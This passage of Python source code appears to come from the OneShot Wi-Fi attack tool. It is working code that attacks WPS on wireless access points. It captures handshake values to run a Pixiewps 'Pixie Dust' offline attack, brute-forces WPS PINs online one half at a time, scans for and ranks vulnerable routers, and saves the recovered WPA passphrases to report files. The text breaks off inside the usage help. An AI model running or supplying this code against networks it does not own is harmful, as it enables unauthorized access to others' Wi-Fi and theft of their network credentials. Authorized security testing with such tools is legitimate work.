| self.e_nonce = '' 340 | 341 | def clear(self): 342 | self.__init__() 343 | 344 | def got_all(self): 345 | return (self.pke and self.pkr and self.e_nonce and self.authkey 346 | and self.e_hash1 and self.e_hash2) 347 | 348 | def get_pixie_cmd(self, full_range=False): 349 | pixiecmd = "pixiewps --pke {} --pkr {} --e-hash1 {}"\ 350 | " --e-hash2 {} --authkey {} --e-nonce {}".format( 351 | self.pke, self.pkr, self.e_hash1, 352 | self.e_hash2, self.authkey, self.e_nonce) 353 | if full_range: 354 | pixiecmd += ' --force' 355 | return pixiecmd 356 | 357 | 358 | class ConnectionStatus: 359 | def __init__(self): 360 | self.status = '' # Must be WSC_NACK, WPS_FAIL or GOT_PSK 361 | self.last_m_message = 0 362 | self.essid = '' 363 | self.wpa_psk = '' 364 | 365 | def isFirstHalfValid(self): 366 | return self.last_m_message > 5 367 | 368 | def clear(self): 369 | self.__init__() 370 | 371 | 372 | class BruteforceStatus: 373 | def __init__(self): 374 | self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 375 | self.mask = '' 376 | self.last_attempt_time = time.time() # Last PIN attempt start time 377 | self.attempts_times = collections.deque(maxlen=15) 378 | 379 | self.counter = 0 380 | self.statistics_period = 5 381 | 382 | def display_status(self): 383 | average_pin_time = statistics.mean(self.attempts_times) 384 | if len(self.mask) == 4: 385 | percentage = int(self.mask) / 11000 * 100 386 | else: 387 | percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100 388 | print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format( 389 | percentage, self.start_time, average_pin_time)) 390 | 391 | def registerAttempt(self, mask): 392 | self.mask = mask 393 | self.counter += 1 394 | current_time = time.time() 395 | self.attempts_times.append(current_time - self.last_attempt_time) 396 | self.last_attempt_time = current_time 397 | if self.counter == self.statistics_period: 398 | self.counter = 0 399 | self.display_status() 400 | 401 | def clear(self): 402 | self.__init__() 403 | 404 | 405 | class Companion: 406 | """Main application part""" 407 | def __init__(self, interface, save_result=False, print_debug=False, bssid=''): 408 | self.interface = interface 409 | self.save_result = save_result 410 | self.print_debug = print_debug 411 | 412 | self.tempdir = tempfile.mkdtemp() 413 | with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp: 414 | temp.write('ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n'.format(self.tempdir)) 415 | self.tempconf = temp.name 416 | self.wpas_ctrl_path = f"{self.tempdir}/{interface}" 417 | self.__init_wpa_supplicant() 418 | 419 | self.res_socket_file = f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}" 420 | self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) 421 | self.retsock.bind(self.res_socket_file) 422 | 423 | self.pixie_creds = PixiewpsData() 424 | self.connection_status = ConnectionStatus() 425 | 426 | user_home = str(pathlib.Path.home()) 427 | self.sessions_dir = f'{user_home}/.OneShot/sessions/' 428 | self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/' 429 | self.reports_dir = os.path.dirname(os.path.realpath(__file__)) + '/reports/' 430 | if not os.path.exists(self.sessions_dir): 431 | os.makedirs(self.sessions_dir) 432 | if not os.path.exists(self.pixiewps_dir): 433 | os.makedirs(self.pixiewps_dir) 434 | 435 | self.generator = WPSpin() 436 | 437 | self.bssid = bssid 438 | self.lastPwr = 0 439 | 440 | def __init_wpa_supplicant(self): 441 | print('[*] Running wpa_supplicant…') 442 | cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(self.interface, self.tempconf) 443 | self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, 444 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 445 | # Waiting for wpa_supplicant control interface initialization 446 | while True: 447 | ret = self.wpas.poll() 448 | if ret is not None and ret != 0: 449 | raise ValueError('wpa_supplicant returned an error: ' + self.wpas.communicate()[0]) 450 | if os.path.exists(self.wpas_ctrl_path): 451 | break 452 | time.sleep(.1) 453 | 454 | def sendOnly(self, command): 455 | """Sends command to wpa_supplicant""" 456 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 457 | 458 | def sendAndReceive(self, command): 459 | """Sends command to wpa_supplicant and returns the reply""" 460 | self.retsock.sendto(command.encode(), self.wpas_ctrl_path) 461 | (b, address) = self.retsock.recvfrom(4096) 462 | inmsg = b.decode('utf-8', errors='replace') 463 | return inmsg 464 | 465 | @staticmethod 466 | def _explain_wpas_not_ok_status(command: str, respond: str): 467 | if command.startswith(('WPS_REG', 'WPS_PBC')): 468 | if respond == 'UNKNOWN COMMAND': 469 | return ('[!] It looks like your wpa_supplicant is compiled without WPS protocol support. ' 470 | 'Please build wpa_supplicant with WPS support ("CONFIG_WPS=y")') 471 | return '[!] Something went wrong — check out debug log' 472 | 473 | def __handle_wpas(self, pixiemode=False, pbc_mode=False, verbose=None, bssid=""): 474 | if not verbose: 475 | verbose = self.print_debug 476 | line = self.wpas.stdout.readline() 477 | if not line: 478 | self.wpas.wait() 479 | return False 480 | line = line.rstrip('\n') 481 | 482 | if verbose: 483 | sys.stderr.write(line + '\n') 484 | 485 | if line.startswith('WPS: '): 486 | if 'Building Message M' in line: 487 | n = int(line.split('Building Message M')[1].replace('D', '')) 488 | self.connection_status.last_m_message = n 489 | self.__print_with_indicators('*', 'Sending WPS Message M{}…'.format(n)) 490 | elif 'Received M' in line: 491 | n = int(line.split('Received M')[1]) 492 | self.connection_status.last_m_message = n 493 | self.__print_with_indicators('*', 'Received WPS Message M{}'.format(n)) 494 | if n == 5: 495 | print('[+] The first half of the PIN is valid') 496 | elif 'Received WSC_NACK' in line: 497 | self.connection_status.status = 'WSC_NACK' 498 | self.__print_with_indicators('*', 'Received WSC NACK') 499 | print('[-] Error: wrong PIN code') 500 | elif 'Enrollee Nonce' in line and 'hexdump' in line: 501 | self.pixie_creds.e_nonce = get_hex(line) 502 | assert(len(self.pixie_creds.e_nonce) == 16*2) 503 | if pixiemode: 504 | print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce)) 505 | elif 'DH own Public Key' in line and 'hexdump' in line: 506 | self.pixie_creds.pkr = get_hex(line) 507 | assert(len(self.pixie_creds.pkr) == 192*2) 508 | if pixiemode: 509 | print('[P] PKR: {}'.format(self.pixie_creds.pkr)) 510 | elif 'DH peer Public Key' in line and 'hexdump' in line: 511 | self.pixie_creds.pke = get_hex(line) 512 | assert(len(self.pixie_creds.pke) == 192*2) 513 | if pixiemode: 514 | print('[P] PKE: {}'.format(self.pixie_creds.pke)) 515 | elif 'AuthKey' in line and 'hexdump' in line: 516 | self.pixie_creds.authkey = get_hex(line) 517 | assert(len(self.pixie_creds.authkey) == 32*2) 518 | if pixiemode: 519 | print('[P] AuthKey: {}'.format(self.pixie_creds.authkey)) 520 | elif 'E-Hash1' in line and 'hexdump' in line: 521 | self.pixie_creds.e_hash1 = get_hex(line) 522 | assert(len(self.pixie_creds.e_hash1) == 32*2) 523 | if pixiemode: 524 | print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1)) 525 | elif 'E-Hash2' in line and 'hexdump' in line: 526 | self.pixie_creds.e_hash2 = get_hex(line) 527 | assert(len(self.pixie_creds.e_hash2) == 32*2) 528 | if pixiemode: 529 | print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2)) 530 | elif 'Network Key' in line and 'hexdump' in line: 531 | self.connection_status.status = 'GOT_PSK' 532 | self.connection_status.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace') 533 | elif ': State: ' in line: 534 | if '-> SCANNING' in line: 535 | self.connection_status.status = 'scanning' 536 | self.__print_with_indicators('*', 'Scanning…') 537 | elif ('WPS-FAIL' in line) and (self.connection_status.status != ''): 538 | self.connection_status.status = 'WPS_FAIL' 539 | print('[-] wpa_supplicant returned WPS-FAIL') 540 | # elif 'NL80211_CMD_DEL_STATION' in line: 541 | # print("[!] Unexpected interference — kill NetworkManager/wpa_supplicant!") 542 | elif 'Trying to authenticate with' in line: 543 | self.connection_status.status = 'authenticating' 544 | if 'SSID' in line: 545 | self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 546 | self.__print_with_indicators('*', 'Authenticating…') 547 | elif 'Authentication response' in line: 548 | self.__print_with_indicators('*', 'Authenticated') 549 | elif 'Trying to associate with' in line: 550 | self.connection_status.status = 'associating' 551 | if 'SSID' in line: 552 | self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 553 | self.__print_with_indicators('*', 'Associating with AP…') 554 | elif ('Associated with' in line) and (self.interface in line): 555 | bssid = line.split()[-1].upper() 556 | if self.connection_status.essid: 557 | self.__print_with_indicators('+', 'Associated with {} (ESSID: {})'.format(bssid, self.connection_status.essid)) 558 | else: 559 | self.__print_with_indicators('+', 'Associated with {}'.format(bssid)) 560 | elif 'EAPOL: txStart' in line: 561 | self.connection_status.status = 'eapol_start' 562 | self.__print_with_indicators('*', 'Sending EAPOL Start…') 563 | elif 'EAP entering state IDENTITY' in line: 564 | self.__print_with_indicators('*', 'Received Identity Request') 565 | elif 'using real identity' in line: 566 | self.__print_with_indicators('*', 'Sending Identity Response…') 567 | elif self.bssid in line and 'level=' in line: 568 | self.lastPwr = line.split("level=")[1].split(" ")[0] 569 | elif pbc_mode and ('selected BSS ' in line): 570 | bssid = line.split('selected BSS ')[-1].split()[0].upper() 571 | self.connection_status.bssid = bssid 572 | print('[*] Selected AP: {}'.format(bssid)) 573 | elif bssid in line and 'level=' in line: 574 | signal = line.split("level=")[1].split(" ")[0] 575 | if 'noise=' in line: 576 | noise = line.split("noise=")[1].split(" ")[0] 577 | print ("[i] Current signal: {}, noise: {}".format(signal, noise)) 578 | else: 579 | print ("[i] Current signal: {}".format(signal)) 580 | 581 | return True 582 | 583 | def __runPixiewps(self, showcmd=False, full_range=False): 584 | self.__print_with_indicators('*', 'Running Pixiewps…') 585 | cmd = self.pixie_creds.get_pixie_cmd(full_range) 586 | if showcmd: 587 | print(cmd) 588 | r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 589 | stderr=sys.stdout, encoding='utf-8', errors='replace') 590 | print(r.stdout) 591 | if r.returncode == 0: 592 | lines = r.stdout.splitlines() 593 | for line in lines: 594 | if ('[+]' in line) and ('WPS pin' in line): 595 | pin = line.split(':')[-1].strip() 596 | if pin == '': 597 | pin = "''" 598 | return pin 599 | return False 600 | 601 | def __credentialPrint(self, wps_pin=None, wpa_psk=None, essid=None): 602 | print(f"[+] WPS PIN: '{wps_pin}'") 603 | print(f"[+] WPA PSK: '{wpa_psk}'") 604 | print(f"[+] AP SSID: '{essid}'") 605 | 606 | def __saveResult(self, bssid, essid, wps_pin, wpa_psk): 607 | if not os.path.exists(self.reports_dir): 608 | os.makedirs(self.reports_dir) 609 | filename = self.reports_dir + 'stored' 610 | dateStr = datetime.now().strftime("%d.%m.%Y %H:%M") 611 | with open(filename + '.txt', 'a', encoding='utf-8') as file: 612 | file.write('{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n\n'.format( 613 | dateStr, bssid, essid, wps_pin, wpa_psk 614 | ) 615 | ) 616 | writeTableHeader = not os.path.isfile(filename + '.csv') 617 | with open(filename + '.csv', 'a', newline='', encoding='utf-8') as file: 618 | csvWriter = csv.writer(file, delimiter=';', quoting=csv.QUOTE_ALL) 619 | if writeTableHeader: 620 | csvWriter.writerow(['Date', 'BSSID', 'ESSID', 'WPS PIN', 'WPA PSK']) 621 | csvWriter.writerow([dateStr, bssid, essid, wps_pin, wpa_psk]) 622 | print(f'[i] Credentials saved to {filename}.txt, {filename}.csv') 623 | 624 | def __savePin(self, bssid, pin): 625 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 626 | with open(filename, 'w') as file: 627 | file.write(pin) 628 | print('[i] PIN saved in {}'.format(filename)) 629 | 630 | def __prompt_wpspin(self, bssid): 631 | pins = self.generator.getSuggested(bssid) 632 | if len(pins) > 1: 633 | print(f'PINs generated for {bssid}:') 634 | print('{:<3} {:<10} {:<}'.format('#', 'PIN', 'Name')) 635 | for i, pin in enumerate(pins): 636 | number = '{})'.format(i + 1) 637 | line = '{:<3} {:<10} {:<}'.format( 638 | number, pin['pin'], pin['name']) 639 | print(line) 640 | while 1: 641 | pinNo = input('Select the PIN: ') 642 | try: 643 | if int(pinNo) in range(1, len(pins)+1): 644 | pin = pins[int(pinNo) - 1]['pin'] 645 | else: 646 | raise IndexError 647 | except Exception: 648 | print('Invalid number') 649 | else: 650 | break 651 | elif len(pins) == 1: 652 | pin = pins[0] 653 | print('[i] The only probable PIN is selected:', pin['name']) 654 | pin = pin['pin'] 655 | else: 656 | return None 657 | return pin 658 | 659 | def __wps_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, verbose=None): 660 | if not verbose: 661 | verbose = self.print_debug 662 | self.pixie_creds.clear() 663 | self.connection_status.clear() 664 | self.wpas.stdout.read(300) # Clean the pipe 665 | if pbc_mode: 666 | if bssid: 667 | print(f"[*] Starting WPS push button connection to {bssid}…") 668 | cmd = f'WPS_PBC {bssid}' 669 | else: 670 | print("[*] Starting WPS push button connection…") 671 | cmd = 'WPS_PBC' 672 | else: 673 | print(f"[*] Trying PIN '{pin}'…") 674 | cmd = f'WPS_REG {bssid} {pin}' 675 | 676 | r = self.sendAndReceive(cmd) 677 | if 'OK' not in r: 678 | self.connection_status.status = 'WPS_FAIL' 679 | print(self._explain_wpas_not_ok_status(cmd, r)) 680 | return False 681 | 682 | while True: 683 | res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode, verbose=verbose, bssid=bssid.lower()) 684 | if not res: 685 | break 686 | if self.connection_status.status == 'WSC_NACK': 687 | break 688 | elif self.connection_status.status == 'GOT_PSK': 689 | break 690 | elif self.connection_status.status == 'WPS_FAIL': 691 | break 692 | 693 | self.sendOnly('WPS_CANCEL') 694 | return False 695 | 696 | def single_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, showpixiecmd=False, 697 | pixieforce=False, store_pin_on_fail=False): 698 | if not pin: 699 | if pixiemode: 700 | try: 701 | # Try using the previously calculated PIN 702 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 703 | with open(filename, 'r') as file: 704 | t_pin = file.readline().strip() 705 | if input('[?] Use previously calculated PIN {}? [n/Y] '.format(t_pin)).lower() != 'n': 706 | pin = t_pin 707 | else: 708 | raise FileNotFoundError 709 | except FileNotFoundError: 710 | pin = self.generator.getLikely(bssid) or '12345670' 711 | elif not pbc_mode: 712 | # If not pixiemode, ask user to select a pin from the list 713 | pin = self.__prompt_wpspin(bssid) or '12345670' 714 | if pbc_mode: 715 | self.__wps_connection(bssid, pbc_mode=pbc_mode) 716 | bssid = self.connection_status.bssid 717 | pin = '' 718 | elif store_pin_on_fail: 719 | try: 720 | self.__wps_connection(bssid, pin, pixiemode) 721 | except KeyboardInterrupt: 722 | print("\nAborting…") 723 | self.__savePin(bssid, pin) 724 | return False 725 | else: 726 | self.__wps_connection(bssid, pin, pixiemode) 727 | 728 | if self.connection_status.status == 'GOT_PSK': 729 | self.__credentialPrint(pin, self.connection_status.wpa_psk, self.connection_status.essid) 730 | if self.save_result: 731 | self.__saveResult(bssid, self.connection_status.essid, pin, self.connection_status.wpa_psk) 732 | if not pbc_mode: 733 | # Try to remove temporary PIN file 734 | filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper()) 735 | try: 736 | os.remove(filename) 737 | except FileNotFoundError: 738 | pass 739 | return True 740 | elif pixiemode: 741 | if self.pixie_creds.got_all(): 742 | pin = self.__runPixiewps(showpixiecmd, pixieforce) 743 | if pin: 744 | return self.single_connection(bssid, pin, pixiemode=False, store_pin_on_fail=True) 745 | return False 746 | else: 747 | print('[!] Not enough data to run Pixie Dust attack') 748 | return False 749 | else: 750 | if store_pin_on_fail: 751 | # Saving Pixiewps calculated PIN if can't connect 752 | self.__savePin(bssid, pin) 753 | return False 754 | 755 | def __first_half_bruteforce(self, bssid, f_half, delay=None): 756 | """ 757 | @f_half — 4-character string 758 | """ 759 | checksum = self.generator.checksum 760 | while int(f_half) < 10000: 761 | t = int(f_half + '000') 762 | pin = '{}000{}'.format(f_half, checksum(t)) 763 | self.single_connection(bssid, pin) 764 | if self.connection_status.isFirstHalfValid(): 765 | print('[+] First half found') 766 | return f_half 767 | elif self.connection_status.status == 'WPS_FAIL': 768 | print('[!] WPS transaction failed, re-trying last pin') 769 | return self.__first_half_bruteforce(bssid, f_half) 770 | f_half = str(int(f_half) + 1).zfill(4) 771 | self.bruteforce.registerAttempt(f_half) 772 | if delay: 773 | time.sleep(delay) 774 | print('[-] First half not found') 775 | return False 776 | 777 | def __second_half_bruteforce(self, bssid, f_half, s_half, delay=None): 778 | """ 779 | @f_half — 4-character string 780 | @s_half — 3-character string 781 | """ 782 | checksum = self.generator.checksum 783 | while int(s_half) < 1000: 784 | t = int(f_half + s_half) 785 | pin = '{}{}{}'.format(f_half, s_half, checksum(t)) 786 | self.single_connection(bssid, pin) 787 | if self.connection_status.last_m_message > 6: 788 | return pin 789 | elif self.connection_status.status == 'WPS_FAIL': 790 | print('[!] WPS transaction failed, re-trying last pin') 791 | return self.__second_half_bruteforce(bssid, f_half, s_half) 792 | s_half = str(int(s_half) + 1).zfill(3) 793 | self.bruteforce.registerAttempt(f_half + s_half) 794 | if delay: 795 | time.sleep(delay) 796 | return False 797 | 798 | def smart_bruteforce(self, bssid, start_pin=None, delay=None): 799 | if (not start_pin) or (len(start_pin) < 4): 800 | # Trying to restore previous session 801 | try: 802 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 803 | with open(filename, 'r') as file: 804 | if input('[?] Restore previous session for {}? [n/Y] '.format(bssid)).lower() != 'n': 805 | mask = file.readline().strip() 806 | else: 807 | raise FileNotFoundError 808 | except FileNotFoundError: 809 | mask = '0000' 810 | else: 811 | mask = start_pin[:7] 812 | 813 | try: 814 | self.bruteforce = BruteforceStatus() 815 | self.bruteforce.mask = mask 816 | if len(mask) == 4: 817 | f_half = self.__first_half_bruteforce(bssid, mask, delay) 818 | if f_half and (self.connection_status.status != 'GOT_PSK'): 819 | self.__second_half_bruteforce(bssid, f_half, '001', delay) 820 | elif len(mask) == 7: 821 | f_half = mask[:4] 822 | s_half = mask[4:] 823 | self.__second_half_bruteforce(bssid, f_half, s_half, delay) 824 | raise KeyboardInterrupt 825 | except KeyboardInterrupt: 826 | print("\nAborting…") 827 | filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper()) 828 | with open(filename, 'w') as file: 829 | file.write(self.bruteforce.mask) 830 | print('[i] Session saved in {}'.format(filename)) 831 | if args.loop: 832 | raise KeyboardInterrupt 833 | 834 | def __print_with_indicators(self, level, msg): 835 | print('[{}] [{}] {}'.format(level, self.lastPwr, msg)) 836 | 837 | def cleanup(self): 838 | self.retsock.close() 839 | self.wpas.terminate() 840 | os.remove(self.res_socket_file) 841 | shutil.rmtree(self.tempdir, ignore_errors=True) 842 | os.remove(self.tempconf) 843 | 844 | def __del__(self): 845 | #self.cleanup() 846 | try: 847 | self.cleanup() 848 | except (ImportError, AttributeError, TypeError): 849 | pass 850 | 851 | 852 | class WiFiScanner: 853 | """docstring for WiFiScanner""" 854 | def __init__(self, interface, vuln_list=None): 855 | self.interface = interface 856 | self.vuln_list = vuln_list 857 | 858 | reports_fname = os.path.dirname(os.path.realpath(__file__)) + '/reports/stored.csv' 859 | try: 860 | with open(reports_fname, 'r', newline='', encoding='utf-8', errors='replace') as file: 861 | csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL) 862 | # Skip header 863 | next(csvReader) 864 | self.stored = [] 865 | for row in csvReader: 866 | self.stored.append( 867 | ( 868 | row[1], # BSSID 869 | row[2] # ESSID 870 | ) 871 | ) 872 | except FileNotFoundError: 873 | self.stored = [] 874 | 875 | def iw_scanner(self) -> Dict[int, dict]: 876 | """Parsing iw scan results""" 877 | def handle_network(line, result, networks): 878 | networks.append( 879 | { 880 | 'Security type': 'Unknown', 881 | 'WPS': False, 882 | 'WPS locked': False, 883 | 'Model': '', 884 | 'Model number': '', 885 | 'Device name': '' 886 | } 887 | ) 888 | networks[-1]['BSSID'] = result.group(1).upper() 889 | 890 | def handle_essid(line, result, networks): 891 | d = result.group(1) 892 | networks[-1]['ESSID'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 893 | 894 | def handle_level(line, result, networks): 895 | networks[-1]['Level'] = int(float(result.group(1))) 896 | 897 | def handle_securityType(line, result, networks): 898 | sec = networks[-1]['Security type'] 899 | if result.group(1) == 'capability': 900 | if 'Privacy' in result.group(2): 901 | sec = 'WEP' 902 | else: 903 | sec = 'Open' 904 | elif sec == 'WEP': 905 | if result.group(1) == 'RSN': 906 | sec = 'WPA2' 907 | elif result.group(1) == 'WPA': 908 | sec = 'WPA' 909 | elif sec == 'WPA': 910 | if result.group(1) == 'RSN': 911 | sec = 'WPA/WPA2' 912 | elif sec == 'WPA2': 913 | if result.group(1) == 'WPA': 914 | sec = 'WPA/WPA2' 915 | networks[-1]['Security type'] = sec 916 | 917 | def handle_wps(line, result, networks): 918 | networks[-1]['WPS'] = result.group(1) 919 | 920 | def handle_wpsLocked(line, result, networks): 921 | flag = int(result.group(1), 16) 922 | if flag: 923 | networks[-1]['WPS locked'] = True 924 | 925 | def handle_model(line, result, networks): 926 | d = result.group(1) 927 | networks[-1]['Model'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 928 | 929 | def handle_modelNumber(line, result, networks): 930 | d = result.group(1) 931 | networks[-1]['Model number'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 932 | 933 | def handle_deviceName(line, result, networks): 934 | d = result.group(1) 935 | networks[-1]['Device name'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace') 936 | 937 | cmd = 'iw dev {} scan'.format(self.interface) 938 | proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, 939 | stderr=subprocess.STDOUT, encoding='utf-8', errors='replace') 940 | lines = proc.stdout.splitlines() 941 | networks = [] 942 | matchers = { 943 | re.compile(r'BSS (\S+)( )?\(on \w+\)'): handle_network, 944 | re.compile(r'SSID: (.*)'): handle_essid, 945 | re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level, 946 | re.compile(r'(capability): (.+)'): handle_securityType, 947 | re.compile(r'(RSN):\t [*] Version: (\d+)'): handle_securityType, 948 | re.compile(r'(WPA):\t [*] Version: (\d+)'): handle_securityType, 949 | re.compile(r'WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps, 950 | re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked, 951 | re.compile(r' [*] Model: (.*)'): handle_model, 952 | re.compile(r' [*] Model Number: (.*)'): handle_modelNumber, 953 | re.compile(r' [*] Device name: (.*)'): handle_deviceName 954 | } 955 | 956 | for line in lines: 957 | if line.startswith('command failed:'): 958 | print('[!] Error:', line) 959 | return False 960 | line = line.strip('\t') 961 | for regexp, handler in matchers.items(): 962 | res = re.match(regexp, line) 963 | if res: 964 | handler(line, res, networks) 965 | 966 | # Filtering non-WPS networks 967 | networks = list(filter(lambda x: bool(x['WPS']), networks)) 968 | if not networks: 969 | return False 970 | 971 | # Sorting by signal level 972 | networks.sort(key=lambda x: x['Level'], reverse=True) 973 | 974 | # Putting a list of networks in a dictionary, where each key is a network number in list of networks 975 | network_list = {(i + 1): network for i, network in enumerate(networks)} 976 | 977 | # Printing scanning results as table 978 | def truncateStr(s, length, postfix="…"): 979 | """ 980 | Truncate strings according to display width (supports Full and half width characters) 981 | :param s: input string 982 | :param length: Maximum display width (unit: column) 983 | :param postfix: Truncate suffixes (such as ellipses) 984 | """ 985 | # Calculate the original display width 986 | original_width = wcwidth.wcswidth(s) 987 | 988 | # Scenario 1: The original width is exactly the same or smaller 989 | if original_width <= length: 990 | # Calculate the number of spaces to be filled (by display width) 991 | padding_needed = length - original_width 992 | # Allocate spaces evenly to the right of the string 993 | return s + ' ' * padding_needed 994 | 995 | # Scenario 2: Truncation is required 996 | postfix_width = wcwidth.wcswidth(postfix) 997 | max_allowed = length - postfix_width 998 | 999 | current_width = 0 1000 | truncated = [] 1001 | for c in s: 1002 | char_width = wcwidth.wcswidth(c) 1003 | if current_width + char_width > max_allowed: 1004 | break 1005 | truncated.append(c) 1006 | current_width += char_width 1007 | 1008 | # Construct basic results 1009 | result = "".join(truncated) 1010 | if len(truncated) < len(s): 1011 | result += postfix 1012 | 1013 | # Accurately adjust the display width 1014 | result_width = wcwidth.wcswidth(result) 1015 | if result_width > length: 1016 | # Remove pre truncation restrictions and switch to more precise truncation 1017 | # Emergency cutoff (to prevent exceeding the limit) 1018 | # Change to character by character processing to ensure not exceeding the limit 1019 | current_width = 0 1020 | safe_truncated = [] 1021 | for c in result: 1022 | char_width = wcwidth.wcswidth(c) 1023 | if current_width + char_width > length: 1024 | break 1025 | safe_truncated.append(c) 1026 | current_width += char_width 1027 | safe_result = "".join(safe_truncated) 1028 | # If the truncated string becomes shorter, add ellipsis 1029 | if len(safe_result) < len(result): 1030 | safe_result += postfix 1031 | # Recheck the width 1032 | if wcwidth.wcswidth(safe_result) > length: 1033 | # If the limit is still exceeded after adding ellipsis, remove the ellipsis 1034 | safe_result = safe_result[:-1] 1035 | return safe_result 1036 | 1037 | # Fill in exact spaces 1038 | padding_needed = length - result_width 1039 | return result + ' ' * padding_needed 1040 | 1041 | def colored(text, color=None): 1042 | """Returns colored text""" 1043 | if color: 1044 | if color == 'green': 1045 | text = '\033[92m{}\033[00m'.format(text) 1046 | elif color == 'red': 1047 | text = '\033[91m{}\033[00m'.format(text) 1048 | elif color == 'yellow': 1049 | text = '\033[93m{}\033[00m'.format(text) 1050 | else: 1051 | return text 1052 | else: 1053 | return text 1054 | return text 1055 | 1056 | if self.vuln_list: 1057 | print('Network marks: {1} {0} {2} {0} {3}'.format( 1058 | '|', 1059 | colored('Possibly vulnerable', color='green'), 1060 | colored('WPS locked', color='red'), 1061 | colored('Already stored', color='yellow') 1062 | )) 1063 | print('Networks list:') 1064 | print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format( 1065 | '#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model')) 1066 | 1067 | network_list_items = list(network_list.items()) 1068 | if args.reverse_scan: 1069 | network_list_items = network_list_items[::-1] 1070 | for n, network in network_list_items: 1071 | number = f'{n})' 1072 | model = '{} {}'.format(network['Model'], network['Model number']) 1073 | essid = truncateStr(network.get('ESSID', 'HIDDEN'), 25) 1074 | deviceName = truncateStr(network['Device name'], 27) 1075 | 1076 | # Processing the display width of other fields 1077 | processed_number = truncateStr(number, 4) 1078 | processed_bssid = truncateStr(network['BSSID'], 18) 1079 | processed_security = truncateStr(network['Security type'], 8) 1080 | processed_level = truncateStr(str(network['Level']), 4) 1081 | processed_device = deviceName # 27 columns of width have been processed 1082 | processed_model = model # Assuming that the model fields do not need to be truncated or have been processed 1083 | 1084 | # Directly concatenate the processed fields, separated by spaces in the middle 1085 | line_parts = [ 1086 | processed_number, 1087 | processed_bssid, 1088 | essid, 1089 | processed_security, 1090 | processed_level, 1091 | processed_device, 1092 | processed_model 1093 | ] 1094 | line = ' '.join(line_parts) 1095 | 1096 | if (network['BSSID'], network.get('ESSID', 'HIDDEN')) in self.stored: 1097 | print(colored(line, color='yellow')) 1098 | elif network['WPS locked']: 1099 | print(colored(line, color='red')) 1100 | elif self.vuln_list and (model in self.vuln_list): 1101 | print(colored(line, color='green')) 1102 | else: 1103 | print(line) 1104 | 1105 | return network_list 1106 | 1107 | def prompt_network(self) -> str: 1108 | networks = self.iw_scanner() 1109 | if not networks: 1110 | print('[-] No WPS networks found.') 1111 | return 1112 | while 1: 1113 | try: 1114 | networkNo = input('Select target (press Enter to refresh): ') 1115 | if networkNo.lower() in ('r', '0', ''): 1116 | return self.prompt_network() 1117 | elif int(networkNo) in networks.keys(): 1118 | return networks[int(networkNo)]['BSSID'] 1119 | else: 1120 | raise IndexError 1121 | except Exception: 1122 | print('Invalid number') 1123 | 1124 | 1125 | def ifaceUp(iface, down=False): 1126 | if down: 1127 | action = 'down' 1128 | else: 1129 | action = 'up' 1130 | cmd = 'ip link set {} {}'.format(iface, action) 1131 | res = subprocess.run(cmd, shell=True, stdout=sys.stdout, stderr=sys.stdout) 1132 | if res.returncode == 0: 1133 | return True 1134 | else: 1135 | return False 1136 | 1137 | 1138 | def die(msg): 1139 | sys.stderr.write(msg + '\n') 1140 | sys.exit(1) 1141 | 1142 | 1143 | def usage(): 1144 | return """ 1145 | OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg 1146 | 1147 | %(prog)s 1148 | 1149 | Required arguments: 1150 | -i, --interface= : Name of the interface to use 1151 | 1152 | Optional arguments: 1153 | -b, --bssid= : BSSID of the target AP 1154 | -p, --pin= : Use the specified pin (arbitrary string or 4/8 digit pin) 1155 | -K, --pixie-dust : Run Pixie Dust attack 1156 | -B, --bruteforce : Run online bruteforce attack 1157 | --push-button-connect : Run WPS push button connection 1158 | 1159 | Advanced arguments: 1160 | -d, --delay= : Set the delay between pin attempts [0] 1161 | -w, --write : Write AP credentials to the file on success 1162 | -F, --pixie-force : Run Pixiewps with --force option (bruteforce full range) 1163 | -X, --show-pixie-cmd : Always print Pixiewps command 1164 | --vuln-list= : Use custom file with vulnerable 